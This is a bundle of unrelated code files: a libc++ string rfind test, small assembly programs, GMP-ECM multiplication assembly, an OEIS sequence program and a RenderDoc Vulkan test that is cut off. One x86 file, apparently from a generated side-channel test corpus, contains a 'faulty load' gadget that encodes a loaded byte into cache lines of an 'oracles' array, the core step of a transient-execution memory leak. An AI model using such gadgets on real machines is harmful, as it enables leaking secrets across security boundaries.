typename S::size_type n = S::traits_type::length(str);
assert(x <= pos && x + n <= s.size());
}
}
template <class S>
void test0()
{
test(S(""), "", 0, 0);
test(S(""), "abcde", 0, S::npos);
test(S(""), "abcdeabcde", 0, S::npos);
test(S(""), "abcdeabcdeabcdeabcde", 0, S::npos);
test(S(""), "", 1, 0);
test(S(""), "abcde", 1, S::npos);
test(S(""), "abcdeabcde", 1, S::npos);
test(S(""), "abcdeabcdeabcdeabcde", 1, S::npos);
test(S("abcde"), "", 0, 0);
test(S("abcde"), "abcde", 0, 0);
test(S("abcde"), "abcdeabcde", 0, S::npos);
test(S("abcde"), "abcdeabcdeabcdeabcde", 0, S::npos);
test(S("abcde"), "", 1, 1);
test(S("abcde"), "abcde", 1, 0);
test(S("abcde"), "abcdeabcde", 1, S::npos);
test(S("abcde"), "abcdeabcdeabcdeabcde", 1, S::npos);
test(S("abcde"), "", 2, 2);
test(S("abcde"), "abcde", 2, 0);
test(S("abcde"), "abcdeabcde", 2, S::npos);
test(S("abcde"), "abcdeabcdeabcdeabcde", 2, S::npos);
test(S("abcde"), "", 4, 4);
test(S("abcde"), "abcde", 4, 0);
test(S("abcde"), "abcdeabcde", 4, S::npos);
test(S("abcde"), "abcdeabcdeabcdeabcde", 4, S::npos);
test(S("abcde"), "", 5, 5);
test(S("abcde"), "abcde", 5, 0);
test(S("abcde"), "abcdeabcde", 5, S::npos);
test(S("abcde"), "abcdeabcdeabcdeabcde", 5, S::npos);
test(S("abcde"), "", 6, 5);
test(S("abcde"), "abcde", 6, 0);
test(S("abcde"), "abcdeabcde", 6, S::npos);
test(S("abcde"), "abcdeabcdeabcdeabcde", 6, S::npos);
test(S("abcdeabcde"), "", 0, 0);
test(S("abcdeabcde"), "abcde", 0, 0);
test(S("abcdeabcde"), "abcdeabcde", 0, 0);
test(S("abcdeabcde"), "abcdeabcdeabcdeabcde", 0, S::npos);
test(S("abcdeabcde"), "", 1, 1);
test(S("abcdeabcde"), "abcde", 1, 0);
test(S("abcdeabcde"), "abcdeabcde", 1, 0);
test(S("abcdeabcde"), "abcdeabcdeabcdeabcde", 1, S::npos);
test(S("abcdeabcde"), "", 5, 5);
test(S("abcdeabcde"), "abcde", 5, 5);
test(S("abcdeabcde"), "abcdeabcde", 5, 0);
test(S("abcdeabcde"), "abcdeabcdeabcdeabcde", 5, S::npos);
test(S("abcdeabcde"), "", 9, 9);
test(S("abcdeabcde"), "abcde", 9, 5);
test(S("abcdeabcde"), "abcdeabcde", 9, 0);
test(S("abcdeabcde"), "abcdeabcdeabcdeabcde", 9, S::npos);
test(S("abcdeabcde"), "", 10, 10);
test(S("abcdeabcde"), "abcde", 10, 5);
test(S("abcdeabcde"), "abcdeabcde", 10, 0);
test(S("abcdeabcde"), "abcdeabcdeabcdeabcde", 10, S::npos);
test(S("abcdeabcde"), "", 11, 10);
test(S("abcdeabcde"), "abcde", 11, 5);
test(S("abcdeabcde"), "abcdeabcde", 11, 0);
test(S("abcdeabcde"), "abcdeabcdeabcdeabcde", 11, S::npos);
test(S("abcdeabcdeabcdeabcde"), "", 0, 0);
test(S("abcdeabcdeabcdeabcde"), "abcde", 0, 0);
test(S("abcdeabcdeabcdeabcde"), "abcdeabcde", 0, 0);
test(S("abcdeabcdeabcdeabcde"), "abcdeabcdeabcdeabcde", 0, 0);
test(S("abcdeabcdeabcdeabcde"), "", 1, 1);
test(S("abcdeabcdeabcdeabcde"), "abcde", 1, 0);
test(S("abcdeabcdeabcdeabcde"), "abcdeabcde", 1, 0);
test(S("abcdeabcdeabcdeabcde"), "abcdeabcdeabcdeabcde", 1, 0);
test(S("abcdeabcdeabcdeabcde"), "", 10, 10);
test(S("abcdeabcdeabcdeabcde"), "abcde", 10, 10);
test(S("abcdeabcdeabcdeabcde"), "abcdeabcde", 10, 10);
test(S("abcdeabcdeabcdeabcde"), "abcdeabcdeabcdeabcde", 10, 0);
test(S("abcdeabcdeabcdeabcde"), "", 19, 19);
test(S("abcdeabcdeabcdeabcde"), "abcde", 19, 15);
test(S("abcdeabcdeabcdeabcde"), "abcdeabcde", 19, 10);
test(S("abcdeabcdeabcdeabcde"), "abcdeabcdeabcdeabcde", 19, 0);
test(S("abcdeabcdeabcdeabcde"), "", 20, 20);
test(S("abcdeabcdeabcdeabcde"), "abcde", 20, 15);
test(S("abcdeabcdeabcdeabcde"), "abcdeabcde", 20, 10);
test(S("abcdeabcdeabcdeabcde"), "abcdeabcdeabcdeabcde", 20, 0);
test(S("abcdeabcdeabcdeabcde"), "", 21, 20);
test(S("abcdeabcdeabcdeabcde"), "abcde", 21, 15);
test(S("abcdeabcdeabcdeabcde"), "abcdeabcde", 21, 10);
test(S("abcdeabcdeabcdeabcde"), "abcdeabcdeabcdeabcde", 21, 0);
}
template <class S>
void test1()
{
test(S(""), "", 0);
test(S(""), "abcde", S::npos);
test(S(""), "abcdeabcde", S::npos);
test(S(""), "abcdeabcdeabcdeabcde", S::npos);
test(S("abcde"), "", 5);
test(S("abcde"), "abcde", 0);
test(S("abcde"), "abcdeabcde", S::npos);
test(S("abcde"), "abcdeabcdeabcdeabcde", S::npos);
test(S("abcdeabcde"), "", 10);
test(S("abcdeabcde"), "abcde", 5);
test(S("abcdeabcde"), "abcdeabcde", 0);
test(S("abcdeabcde"), "abcdeabcdeabcdeabcde", S::npos);
test(S("abcdeabcdeabcdeabcde"), "", 20);
test(S("abcdeabcdeabcdeabcde"), "abcde", 15);
test(S("abcdeabcdeabcdeabcde"), "abcdeabcde", 10);
test(S("abcdeabcdeabcdeabcde"), "abcdeabcdeabcdeabcde", 0);
}
int main()
{
{
typedef std::string S;
test0<S>();
test1<S>();
}
#if TEST_STD_VER >= 11
{
typedef std::basic_string<char, std::char_traits<char>, min_allocator<char>> S;
test0<S>();
test1<S>();
}
#endif
}
|
#include <monsoon/metric_name.h>
#include <monsoon/grammar/intf/rules.h>
#include <stdexcept>
namespace monsoon {
metric_name metric_name::parse(std::string_view s) {
std::string_view::iterator parse_end = s.begin();
grammar::ast::simple_path_lit_expr result;
bool r = grammar::x3::phrase_parse(
parse_end, s.end(),
grammar::parser::simple_path_lit,
grammar::x3::space,
result);
if (r && parse_end == s.end())
return result;
throw std::invalid_argument("invalid expression");
}
} /* namespace monsoon */
|
# ORG 80A2
# DB FF
# ORG 80A3
# DB A2
# ORG 80A4
# DB 00
# ORG 80A5
# DB 26
# ORG 8000
LHLD 80A2
INR L
INR H
SHLD 80A2
LHLD 80A4
DCR L
DCR H
SHLD 80A4
HLT
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r15
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x11dd3, %rdi
nop
lfence
mov $0x6162636465666768, %r9
movq %r9, %xmm7
vmovups %ymm7, (%rdi)
nop
nop
nop
nop
add $9990, %rsi
lea addresses_WT_ht+0x1a8a3, %r12
add %r10, %r10
mov $0x6162636465666768, %r13
movq %r13, %xmm1
movups %xmm1, (%r12)
nop
nop
xor %rsi, %rsi
lea addresses_normal_ht+0x16833, %r9
nop
nop
nop
nop
nop
sub %r12, %r12
movb $0x61, (%r9)
and $39691, %rsi
lea addresses_normal_ht+0x1cea3, %rsi
lea addresses_D_ht+0x52a3, %rdi
nop
nop
nop
nop
nop
sub %r9, %r9
mov $86, %rcx
rep movsb
nop
nop
nop
xor $44805, %r9
lea addresses_WC_ht+0xdaa3, %rcx
nop
nop
nop
xor $55583, %r9
movw $0x6162, (%rcx)
nop
add $2556, %r10
lea addresses_WT_ht+0x5963, %r12
nop
nop
nop
nop
and $35737, %rcx
movl $0x61626364, (%r12)
nop
nop
nop
nop
nop
sub $6399, %r12
lea addresses_WC_ht+0xe64b, %rsi
lea addresses_WC_ht+0xee4b, %rdi
nop
nop
and $32192, %r9
mov $84, %rcx
rep movsl
nop
nop
nop
nop
nop
add %r10, %r10
lea addresses_D_ht+0x36a3, %r9
nop
mfence
mov $0x6162636465666768, %r10
movq %r10, %xmm3
vmovups %ymm3, (%r9)
nop
nop
nop
nop
add %r9, %r9
lea addresses_WC_ht+0x2a3, %rsi
lea addresses_WT_ht+0x4da3, %rdi
nop
nop
add %r9, %r9
mov $58, %rcx
rep movsw
nop
nop
nop
xor %r10, %r10
lea addresses_D_ht+0x10ea3, %rsi
lea addresses_A_ht+0x4ea3, %rdi
nop
nop
nop
nop
nop
xor %r15, %r15
mov $7, %rcx
rep movsb
nop
dec %r13
lea addresses_UC_ht+0xc563, %r12
clflush (%r12)
nop
nop
nop
sub %r13, %r13
movl $0x61626364, (%r12)
nop
nop
nop
nop
sub $63463, %r10
lea addresses_D_ht+0x5163, %rsi
lea addresses_normal_ht+0x10fd4, %rdi
clflush (%rsi)
nop
nop
cmp $3133, %r15
mov $110, %rcx
rep movsl
cmp %r13, %r13
lea addresses_WC_ht+0x13463, %rsi
lea addresses_UC_ht+0x6043, %rdi
nop
nop
nop
nop
dec %r15
mov $84, %rcx
rep movsl
nop
nop
nop
cmp %r10, %r10
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %r15
push %rbx
push %rcx
// Faulty Load
lea addresses_WC+0x72a3, %rbx
and $56521, %r14
mov (%rbx), %r10d
lea oracles, %r14
and $0xff, %r10
shlq $12, %r10
mov (%r14,%r10,1), %r10
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WT_ht', 'same': True, 'AVXalign': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 9}, 'dst': {'same': True, 'type': 'addresses_A_ht', 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 1}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
Name: sfxdos..asm
Type: file
Size: 11529
Last-Modified: '1991-10-29T15:00:00Z'
SHA-1: E8CA0DE6D72032D781999F8BF80FB2D5D6749E1C
Description: null
|
# mp_limb_t mulredc6(mp_limb_t * z, const mp_limb_t * x, const mp_limb_t * y,
# const mp_limb_t *m, mp_limb_t inv_m);
#
# Stack:
# inv_m ## parameters
# m
# y
# x
# z (4*(2k+7))%esp
# ??? (1 limb???)
# ebp ## pushed registers (4*(2k+5))%esp
# edi
# esi
# ebx
# ... ## counter (1 mp_limb_t) (4*(2k+1))%esp
# ... ## tmp space (2*k+1 mp_limb_t)
include(`config.m4')
TEXT
GLOBL GSYM_PREFIX`'mulredc6
TYPE(GSYM_PREFIX`'mulredc6,`function')
GSYM_PREFIX`'mulredc6:
pushl %ebp
pushl %edi
pushl %esi
pushl %ebx
subl $56, %esp
movl %esp, %edi
### set tmp[0..2k+1[ to 0
movl $0, (%edi)
movl $0, 4(%edi)
movl $0, 8(%edi)
movl $0, 12(%edi)
movl $0, 16(%edi)
movl $0, 20(%edi)
movl $0, 24(%edi)
movl $0, 28(%edi)
movl $0, 32(%edi)
movl $0, 36(%edi)
movl $0, 40(%edi)
movl $0, 44(%edi)
movl $0, 48(%edi)
###########################################
movl $6, 52(%esp)
.align 32
Loop:
## compute u and store in %ebp
movl 80(%esp), %eax
movl 84(%esp), %esi
movl (%eax), %eax
mull (%esi)
addl (%edi), %eax
mull 92(%esp)
movl %eax, %ebp
movl 88(%esp), %esi
### addmul1: src[0] is (%esi)
### dst[0] is (%edi)
### mult is %ebp
### k is 6
### kills %eax, %edx and mmx regs
### dst[0,k[ += mult*src[0,k[ plus carry put in ecx
pxor %mm0, %mm0
movd %ebp, %mm7
movd (%esi), %mm1
movd (%edi), %mm2
pmuludq %mm7, %mm1
paddq %mm1, %mm2
paddq %mm2, %mm0
movd %mm0, (%edi)
psrlq $32, %mm0
movd 4(%esi), %mm1
movd 4(%edi), %mm2
pmuludq %mm7, %mm1
paddq %mm1, %mm2
paddq %mm2, %mm0
movd %mm0, 4(%edi)
psrlq $32, %mm0
movd 8(%esi), %mm1
movd 8(%edi), %mm2
pmuludq %mm7, %mm1
paddq %mm1, %mm2
paddq %mm2, %mm0
movd %mm0, 8(%edi)
psrlq $32, %mm0
movd 12(%esi), %mm1
movd 12(%edi), %mm2
pmuludq %mm7, %mm1
paddq %mm1, %mm2
paddq %mm2, %mm0
movd %mm0, 12(%edi)
psrlq $32, %mm0
movd 16(%esi), %mm1
movd 16(%edi), %mm2
pmuludq %mm7, %mm1
paddq %mm1, %mm2
paddq %mm2, %mm0
movd %mm0, 16(%edi)
psrlq $32, %mm0
movd 20(%esi), %mm1
movd 20(%edi), %mm2
pmuludq %mm7, %mm1
paddq %mm1, %mm2
paddq %mm2, %mm0
movd %mm0, 20(%edi)
psrlq $32, %mm0
movd %mm0, %ecx
### carry limb is in %ecx
addl %ecx, 24(%edi)
adcl $0, 28(%edi)
movl 80(%esp), %eax
movl (%eax), %ebp
movl 84(%esp), %esi
### addmul1: src[0] is (%esi)
### dst[0] is (%edi)
### mult is %ebp
### k is 6
### kills %eax, %edx and mmx regs
### dst[0,k[ += mult*src[0,k[ plus carry put in ecx
pxor %mm0, %mm0
movd %ebp, %mm7
movd (%esi), %mm1
movd (%edi), %mm2
pmuludq %mm7, %mm1
paddq %mm1, %mm2
paddq %mm2, %mm0
movd %mm0, (%edi)
psrlq $32, %mm0
movd 4(%esi), %mm1
movd 4(%edi), %mm2
pmuludq %mm7, %mm1
paddq %mm1, %mm2
paddq %mm2, %mm0
movd %mm0, 4(%edi)
psrlq $32, %mm0
movd 8(%esi), %mm1
movd 8(%edi), %mm2
pmuludq %mm7, %mm1
paddq %mm1, %mm2
paddq %mm2, %mm0
movd %mm0, 8(%edi)
psrlq $32, %mm0
movd 12(%esi), %mm1
movd 12(%edi), %mm2
pmuludq %mm7, %mm1
paddq %mm1, %mm2
paddq %mm2, %mm0
movd %mm0, 12(%edi)
psrlq $32, %mm0
movd 16(%esi), %mm1
movd 16(%edi), %mm2
pmuludq %mm7, %mm1
paddq %mm1, %mm2
paddq %mm2, %mm0
movd %mm0, 16(%edi)
psrlq $32, %mm0
movd 20(%esi), %mm1
movd 20(%edi), %mm2
pmuludq %mm7, %mm1
paddq %mm1, %mm2
paddq %mm2, %mm0
movd %mm0, 20(%edi)
psrlq $32, %mm0
movd %mm0, %ecx
### carry limb is in %ecx
addl %ecx, 24(%edi)
adcl $0, 28(%edi)
addl $4, 80(%esp)
addl $4, %edi
decl 52(%esp)
jnz Loop
###########################################
### Copy result in z
movl 76(%esp), %ebx
movl (%edi), %eax
movl %eax, (%ebx)
movl 4(%edi), %eax
movl %eax, 4(%ebx)
movl 8(%edi), %eax
movl %eax, 8(%ebx)
movl 12(%edi), %eax
movl %eax, 12(%ebx)
movl 16(%edi), %eax
movl %eax, 16(%ebx)
movl 20(%edi), %eax
movl %eax, 20(%ebx)
movl 24(%edi), %eax # carry
addl $56, %esp
popl %ebx
popl %esi
popl %edi
popl %ebp
emms
ret
|
start_include:
mov [1], 1
prn [1]
ret
end_include:
jmp end_include
|
; A194050: Natural fractal sequence of A014739.
; 1,1,2,3,1,2,3,4,1,2,3,4,5,6,7,1,2,3,4,5,6,7,8,9,10,11,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,1,2,3,4,5,6,7,8,9,10
mov $3,$0
add $0,1
mov $2,$3
lpb $0
mov $1,$0
add $0,$2
sub $0,$3
trn $0,1
mov $2,$1
sub $2,3
sub $3,1
add $3,$1
add $3,1
sub $3,$1
lpe
|
/******************************************************************************
* The MIT License (MIT)
*
* Copyright (c) 2019-2020 Baldur Karlsson
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
******************************************************************************/
#include "vk_test.h"
RD_TEST(VK_Extended_Dynamic_State, VulkanGraphicsTest)
{
static constexpr const char *Description =
"Tests all possible dynamic state from VK_EXT_extended_dynamic_state";
void Prepare(int argc, char **argv)
{
devExts.push_back(VK_EXT_EXTENDED_DYNAMIC_STATE_EXTENSION_NAME);
VulkanGraphicsTest::Prepare(argc, argv);
if(!Avail.empty())
return;
static VkPhysicalDeviceExtendedDynamicStateFeaturesEXT extFeatures = {
VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_EXTENDED_DYNAMIC_STATE_FEATURES_EXT,
};
getPhysFeatures2(&extFeatures);
if(!extFeatures.extendedDynamicState)
Avail = "feature 'extendedDynamicState' not available";
features.depthBounds = VK_TRUE;
devInfoNext = &extFeatures;
}
int main()
{
// initialise, create window, create context, etc
if(!Init())
return 3;
VkPipelineLayout layout = createPipelineLayout(vkh::PipelineLayoutCreateInfo());
vkh::GraphicsPipelineCreateInfo pipeCreateInfo;
pipeCreateInfo.dynamicState.dynamicStates = {
VK_DYNAMIC_STATE_CULL_MODE_EXT, VK_DYNAMIC_STATE_FRONT_FACE_EXT,
VK_DYNAMIC_STATE_PRIMITIVE_TOPOLOGY_EXT, VK_DYNAMIC_STATE_VIEWPORT_WITH_COUNT_EXT,
VK_DYNAMIC_STATE_SCISSOR_WITH_COUNT_EXT, VK_DYNAMIC_STATE_VERTEX_INPUT_BINDING_STRIDE_EXT,
VK_DYNAMIC_STATE_DEPTH_TEST_ENABLE_EXT, VK_DYNAMIC_STATE_DEPTH_WRITE_ENABLE_EXT,
VK_DYNAMIC_STATE_DEPTH_COMPARE_OP_EXT, VK_DYNAMIC_STATE_DEPTH_BOUNDS_TEST_ENABLE_EXT,
VK_DYNAMIC_STATE_STENCIL_TEST_ENABLE_EXT, VK_DYNAMIC_STATE_STENCIL_OP_EXT,
};
pipeCreateInfo.layout = layout;
pipeCreateInfo.inputAssemblyState.topology = VK_PRIMITIVE_TOPOLOGY_TRIANGLE_STRIP;
pipeCreateInfo.vertexInputState.vertexBindingDescriptions = {vkh::vertexBind(0, char)};
pipeCreateInfo.vertexInputState.vertexAttributeDescriptions = {
vkh::vertexAttr(0, 0, DefaultA2V, pos), vkh::vertexAttr(1, 0, DefaultA2V, col),
vkh::vertexAttr(2, 0, DefaultA2V, uv),
};
pipeCreateInfo.stages = {
CompileShaderModule(VKDefaultVertex, ShaderLang::glsl, ShaderStage::vert, "main"),
CompileShaderModule(VKDefaultPixel, ShaderLang::glsl, ShaderStage::frag, "main"),
};
pipeCreateInfo.viewportState.scissorCount = 0;
pipeCreateInfo.viewportState.viewportCount = 0;
pipeCreateInfo.rasterizationState.cullMode = VK_CULL_MODE_FRONT_AND_BACK;
pipeCreateInfo.rasterizationState.frontFace = VK_FRONT_FACE_COUNTER_CLOCKWISE;
pipeCreateInfo.depthStencilState.depthTestEnable = VK_FALSE;
pipeCreateInfo.depthStencilState.depthCompareOp = VK_COMPARE_OP_NEVER;
pipeCreateInfo.depthStencilState.depthWriteEnable = VK_FALSE;
pipeCreateInfo.depthStencilState.depthBoundsTestEnable = VK_TRUE;
pipeCreateInfo.depthStencilState.minDepthBounds = 0.8f;
pipeCreateInfo.depthStencilState.maxDepthBounds = 0.85f;
pipeCreateInfo.depthStencilState.stencilTestEnable = VK_FALSE;
pipeCreateInfo.depthStencilState.front.compareOp = VK_COMPARE_OP_NEVER;
pipeCreateInfo.depthStencilState.front.failOp = VK_STENCIL_OP_DECREMENT_AND_CLAMP;
pipeCreateInfo.depthStencilState.front.passOp = VK_STENCIL_OP_DECREMENT_AND_CLAMP;
pipeCreateInfo.depthStencilState.front.depthFailOp = VK_STENCIL_OP_DECREMENT_AND_CLAMP;
pipeCreateInfo.depthStencilState.back = pipeCreateInfo.depthStencilState.front;
const DefaultA2V tris[6] = {
{Vec3f(-0.75f, -0.5f, 0.4f), Vec4f(0.0f, 1.0f, 0.0f, 1.0f), Vec2f(0.0f, 0.0f)},
{Vec3f(-0.25f, 0.5f, 0.4f), Vec4f(0.0f, 1.0f, 0.0f, 1.0f), Vec2f(0.0f, 1.0f)},
{Vec3f(0.25f, -0.5f, 0.4f), Vec4f(0.0f, 1.0f, 0.0f, 1.0f), Vec2f(1.0f, 0.0f)},
{Vec3f(-0.25f, -0.5f, 0.6f), Vec4f(0.0f, 0.0f, 1.0f, 1.0f), Vec2f(0.0f, 0.0f)},
{Vec3f(0.25f, 0.5f, 0.6f), Vec4f(0.0f, 0.0f, 1.0f, 1.0f), Vec2f(0.0f, 1.0f)},
{Vec3f(0.75f, -0.5f, 0.6f), Vec4f(0.0f, 0.0f, 1.0f, 1.0f), Vec2f(1.0f, 0.0f)},
};
AllocatedBuffer vb(this,
vkh::BufferCreateInfo(sizeof(tris) * 4, VK_BUFFER_USAGE_VERTEX_BUFFER_BIT |
VK_BUFFER_USAGE_TRANSFER_DST_BIT),
VmaAllocationCreateInfo({0, VMA_MEMORY_USAGE_CPU_TO_GPU}));
vb.upload(tris);
AllocatedImage depthimg(
this, vkh::ImageCreateInfo(screenWidth, screenHeight, 0, VK_FORMAT_D32_SFLOAT_S8_UINT,
VK_IMAGE_USAGE_DEPTH_STENCIL_ATTACHMENT_BIT),
VmaAllocationCreateInfo({0, VMA_MEMORY_USAGE_GPU_ONLY}));
VkImageView dsvview = createImageView(vkh::ImageViewCreateInfo(
depthimg.image, VK_IMAGE_VIEW_TYPE_2D, VK_FORMAT_D32_SFLOAT_S8_UINT, {},
vkh::ImageSubresourceRange(VK_IMAGE_ASPECT_DEPTH_BIT | VK_IMAGE_ASPECT_STENCIL_BIT)));
// create renderpass using the DS image
vkh::RenderPassCreator renderPassCreateInfo;
renderPassCreateInfo.attachments.push_back(vkh::AttachmentDescription(
mainWindow->format, VK_IMAGE_LAYOUT_GENERAL, VK_IMAGE_LAYOUT_GENERAL));
renderPassCreateInfo.attachments.push_back(vkh::AttachmentDescription(
VK_FORMAT_D32_SFLOAT_S8_UINT, VK_IMAGE_LAYOUT_UNDEFINED, VK_IMAGE_LAYOUT_GENERAL,
VK_ATTACHMENT_LOAD_OP_CLEAR, VK_ATTACHMENT_STORE_OP_DONT_CARE, VK_SAMPLE_COUNT_1_BIT,
VK_ATTACHMENT_LOAD_OP_CLEAR, VK_ATTACHMENT_STORE_OP_DONT_CARE));
renderPassCreateInfo.addSubpass({VkAttachmentReference({0, VK_IMAGE_LAYOUT_GENERAL})}, 1,
VK_IMAGE_LAYOUT_GENERAL);
VkRenderPass renderPass = createRenderPass(renderPassCreateInfo);
// create framebuffers using swapchain images and DS image
std::vector<VkFramebuffer> fbs;
fbs.resize(mainWindow->GetCount());
for(size_t i = 0; i < mainWindow->GetCount(); i++)
fbs[i] = createFramebuffer(vkh::FramebufferCreateInfo(
renderPass, {mainWindow->GetView(i), dsvview}, mainWindow->scissor.extent));
pipeCreateInfo.renderPass = renderPass;
VkPipeline pipe = createGraphicsPipeline(pipeCreateInfo);
while(Running())
{
VkCommandBuffer cmd = GetCommandBuffer();
